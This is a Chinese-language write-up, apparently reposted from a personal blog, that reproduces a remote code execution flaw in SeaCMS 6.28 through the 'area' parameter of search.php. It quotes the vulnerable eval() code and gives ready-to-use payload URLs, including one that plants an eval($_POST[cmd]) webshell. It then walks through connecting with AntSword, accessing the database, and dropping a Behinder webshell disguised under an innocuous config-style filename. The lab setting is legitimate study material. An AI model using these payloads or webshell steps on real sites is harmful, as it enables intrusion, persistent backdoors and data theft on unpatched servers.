漏洞复现海洋CMS6.28远程代码执行

Posted 独角授

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现海洋CMS6.28远程代码执行相关的知识,希望对你有一定的参考价值。

【漏洞复现】海洋CMS6.28远程代码执行

一、漏洞背景

海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需5分钟即可建立一个海量的视频讯息的行业网站。

该CMS6.28版本存在命令执行漏洞,攻击者可以通过远程命令执行入侵被攻击者主机。

二、漏洞原理

area参数处理过的地方经过字符是否非法判断之后,调用echoSearchPage()函数

area参数经过了检测是否是拼音之后

接下来到了

$content=$mainClassObj->parseSearchItemList($content,"area");

因为能执行php代码一般就是eval()函数

搜索一下这个页面有eval函数的地方

for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
 if (strpos($strThen,$labelRule2)===false){
 if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
 @eval("if(".$strIf."){\\$ifFlag=true;}else{\\$ifFlag=false;}");
 if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
 }else{
 @eval("if(".$strIf.") { \\$ifFlag=true;} else{ \\$ifFlag=false;}");
 if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
 }

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令

漏洞最终payload:/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

三、漏洞复现

本地IIS搭建CMS

image-20210517223640779

构造payload:

先来个phpinfo

http://192.168.1.14:8452/search.php?searchtype=5&tid=&area=phpinfo()

image-20210517223409649

代码执行成功

ok

继续一句话木马

http://192.168.1.14:8452/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

image-20210517224304681

直接蚁剑链接,连接密码cmd

image-20210517224427712

连接数据库

image-20210517224458255

尝试蚁剑拿shell

image-20210517224700844

无回显

到这儿就结束了吗?

不!再战

用蚁剑写个冰蝎的马试试

image-20210517224901430

名字伪装一下,都懂的admin…config…ini…

尝试连接
image-20210517225222474

image-20210517225350973

shell还是不行

草草结束。

以上是关于漏洞复现海洋CMS6.28远程代码执行的主要内容,如果未能解决你的问题,请参考以下文章

seacms V11.5代码执行漏洞(0day)

seacms V11.5代码执行漏洞(0day)

WordPress Social Warfare组件 远程代码漏洞执行详细复现

Samba远程代码执行漏洞(CVE-2017-7494)复现

ThinkPHP 5.0.23 远程代码执行漏洞(CVE-2018-20062)漏洞复现

windows RDP远程代码执行_CVE-2019-0708漏洞复现